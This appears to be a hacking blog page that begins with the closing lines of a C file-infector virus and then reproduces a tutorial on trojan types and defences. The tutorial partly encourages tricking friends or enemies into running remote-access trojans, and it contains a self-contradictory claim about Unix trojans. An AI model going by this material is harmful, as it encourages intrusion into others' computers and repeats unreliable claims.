fwrite(buff,x,1,Host);

fcloseall(); /* Close both files and*/

done = findnext(&ffblk); /* go for another one. */

}

/* Activation would go */

/* here */

return (0); /* Terminate */

}


enjoy hacking

post comments[ankush]
Labels: 0 comments | | edit post
ANKUSH
    Contents
  1. What is a trojan?
  2. Why the name 'trojan horse'?
  3. Remote Administration Trojans
  4. How RATs work
  5. Using RATs for legitimate purposes
  6. Password Trojans
  7. Priviledges-Elevating Trojans
  8. Keyloggers
  9. Destructive Trojans
  10. Joke Programs
  11. Protecting Yourself Against Trojans
    • Under Unix
    • Under Windows
What is a trojan?
A trojan horse could be either:
a) Unauthorized instructions contained within a legitimate program. These instrcutions perform functions unknown to (and probably unwanted by) the user.
b) A legitimate program that has been altered by the placement of anauthorized instructions within it. These instructions perform functions unknown to (and probably unwanted by) the user.
c) Any program that appears to perform a desirable and necessary function but that (because of unauthorized instructions within it) performs functions unknown to (and probably unwanted by) the user.

Under a restricted environment (a restricted Unix shell or a restricted Windows computer), malicious trojans can't do much, since they are restricted in their actions. But on a home PC, trojans can be lethal and quite destructive.

Why the name 'trojan horse'?
In the 12th century B.C., Greece declared war on the city of Troy. The dispute erupted when the prince of Troy abducted the queen of Sparta and declared that he wanted to make her his wife, which made the Greeks and especially the queen of Sparta quite furious.

The Greeks gave chase and engaged Troy in a 10-year war, but unfortunately for them, all of their efforts went down the drain. Troy was simply too well fortified.

In a last effort, the Greek army pretended to be retreating, leaving behind a hude wooden horse. The people of Troy saw the horse, and, thinking it was some kind of a present from the Greeks, pulled the horse into their city, without knowing that the finest soldiers of Greece were sitting inside it, since the horse was hollow.

Under the cover of night, the soldiers snuck out and opened the gates of the city, and later, together with the rest of the army, killed the entire army of Troy.

This is why such a program is called a trojan horse - it pretends to do something while it does something completely different, or does what it is supposed to be and hides it's malicious actions from the user's prying eyes.

During the rest of this text, we will explain about the most common types of trojan horses.

Remote Administration Trojans
These trojans are the most popular trojans now. Everyone wants to have them trojan because they let you have access to your victim's hard drive, and also perform many functions on his computer (open and close his CD-ROM drive, put message boxes on his computer etc'), which will scare off most computer users and are also a hell lot of fun to run on your friends or enemies.

Modern RAT'S (remote administration trojans) are very simple to use. They come packaged with two files - the server file and the client file (if you don't know which is which, look for a help file, a FAQ, a readme or instructions on the trojan's homepage). Just fool someone into runnig the server file and get his IP and you have FULL control over his/her computer (some trojans are limited by their functions, but more functions also mean larger server files. Some trojans are merely ment for the attacker to use them to upload another trojan to his target's computer and run it, hence they take very little disk space). You can also bind trojans into other programs which appear to be legitimate.

RAT'S have the common remote access trojan functions like:
keylogging (logging the target's keystrokes (keyboard functions) and sometimes even interfering with them, thus being able to use your keyboard to type instead of the target and say weird things in chatrooms or scare the hell out of people), upload and download function, make a screenshot of the target's monitor and so on.

Some people use the trojans for malicious purposes. They either use them to irritate, scare or harm their enemies, scare the hell out of their friends or enemies and seem like a "super hacker" to them, getting information about people and spying on them or just get into people's computers and delete stuff. This is considered very lame.

There are many programs out there that detects the most common trojans (such as Nemesis at blacksun.box.sk, which also detects people trying to access your computer), but new trojans are released every day and it's pretty hard to keep track of things.

Trojans would usually want to automatically start whenever you boot-up your computer. If you use Windows, you can get b00tm0n from blacksun.box.sk (note: at the time this tutrial was released, b00tm0n was not ready yet, but it should be ready some time before year 2,000, so if you're reading this after Y2K, b00tm0n should probably be available at blacksun.box.sk). Under Unix, we suggest getting some sort of an IDS (Intrusion Detection System) programs to monitor your system.

Most Windows trojans hide from the Alt+Ctrl+Del menu (we havn't seen any Unix program that had the ability to hide itself from the processes list yet, but you can never know - one day someone might discover a way to do so. Hell, someone might have already did). This is bad because there are people who use the task list to see which process are running. There are programs that will tell me you exactly what processes are running on your computer (such as Wintop, which is the Windows version of the popular Unix program called top). Some trojans, however, use fake names and it's a little harder for certain people to realize that they are infected.

Also, some trojans might simply open an FTP server on your computer (usually NOT on port 21, the default FTP port, in order to be less noticable). The FTP server is, of course, unpassworded, or has a password which the attacker has determined, and allows the attacker to download, upload and execute files quickly and easily. For more info about FTP servers and FTP security, read our FTP security tutorial at
blacksun.box.sk.

How RATs work
Remote administration trojans open a port on your computer and bind themselves to it (make the server file listen to incoming connections and data going through these ports). Then, once someone runs his client program and enters the victim's IP, the trojan starts receiving commands from the attacker and runs them on the victim's computer.

Some trojans let you change this port into any other port and also put a password so only the person that infect this specific computer will be able to use the trojan. However, some of these password protections can be cracked due to bugs in the trojan (people who program RATs usually don't have much knowledge in the field of programming), and in some cases the creator of the trojan would also put a backdoor (which can be sometimes detected, under certain conditions) within the server file itself so he'll be able to access any computer running his trojan without the need to enter a password. This is called "a backdoor within a backdoor".

The most popular RATs are Netbus (because of it's simplicity), BO (has many functions and hides itself pretty good) and Sub7 (lots of functions and easy to use). These are all Windows RATs.

If you havn't done so already, it is advised to get some RAT and play around with it, just to see how the whole thing works.
Using RATs for legitimate purposes
Some people use RATs to remotely administer computers they are allowed to have access to. This is all good and fine, but anyway, you should always be careful while working with RATs. Make sure you have legal access and the right to remotely administer a computer before using a RAT on it.

Password Trojans
Yes, password trojans. Password trojans scour your computer for password and then send them to the attacker or the author of the trojan. Whether it's your Internet password, your Hotmail password, your ICQ password or your IRC passwords, there is a trojan for every passsword. These trojans usually send the information back to the attacker via Email.

Priviledges-Elevating Trojans
These trojans would usually be used to fool system administrators. They can either be binded into a common system utility or pretend to be something unharmful and even quite useful and appealing. Once the administrator runs it, the trojan will give the attacker more priviledges on the system. These trojans can also be sent to less-priviledges users and give the attacker access to their account.

Keyloggers
These trojans are very simple. They log all of your keystrokes (including passwords), and then either save them on a file or Email them to the attacker once in a while.

Keyloggers usually don't take much disk space and can masquerade as important utilities, thus making them very hard to detect. Some keyloggers can also highlight passwords found in text boxes with titles such as 'enter password' or just the word password somewhere within the title text.

Destructive Trojans
These little fellows do nothing but damaging your computer. These trojans can destroy your entire hard drive, encrypt or just scramble important files and basically make you feel very unpleasent. I wouldn't want to bump into one in a dark alley.

Some might seem like joke programs, while they are actually tearing every file they encounter to pieces.

Joke Programs
Joke programs are nice, cute and unharmful. They can either pretend to be formatting your hard drive, sending all of your passwords to some evil cracker, self-destructing your computer, turning in all information about illegal and pirated software you might have on your computer to the FBI etc'. They are certainly no reason to worry about (except if you work in tech support, since unexperienced computer users tend to get scared off pretty easily by joke programs.

Protecting Yourself Against Trojans
Under Unix
If you are working on your PC, DO NOT work as root! If you run a trojan as root, you can endanger your entire system! The whole point in multi-users on a single-user system is limiting yourself in such cases (or in case you want to prevent yourself from doing anything stupid). Switch to root only when you NEED root, and when you know what you're running. Also, remember that even if you're working on a restricted environment, you still put the passwords and files you still have access to to risk. Also, if someone has a keylogger on your system, and you type in some passwords (especially the root password), they will be logged!

Also, DO NOT download any files from untrusted sources (small websites, underground websites, Usenet newsgroups, IRC etc'), even if it comes in the form of source code.

Under Windows
Windows is a whole lot different in this aspect. Limiting yourself under Windows is quite an annoyance. It is almost impossible to work like that, in comparison to Unix.

Also, make sure you don't run any untrusted software. There are much more evil Windows trojans for Windows than Unix, since people are more motivated to write trojans for Unix (because of all the security Unix imposes). Also, when running on a restricted Windows environment, you cannot just act like you're so protected and all. Remember that people can still steal passwords owned by the restricted user, and also, some trojans can break into administrator priviledges and then compromise your entire system, since Windows imposes such lame security.

Labels: 0 comments | | edit post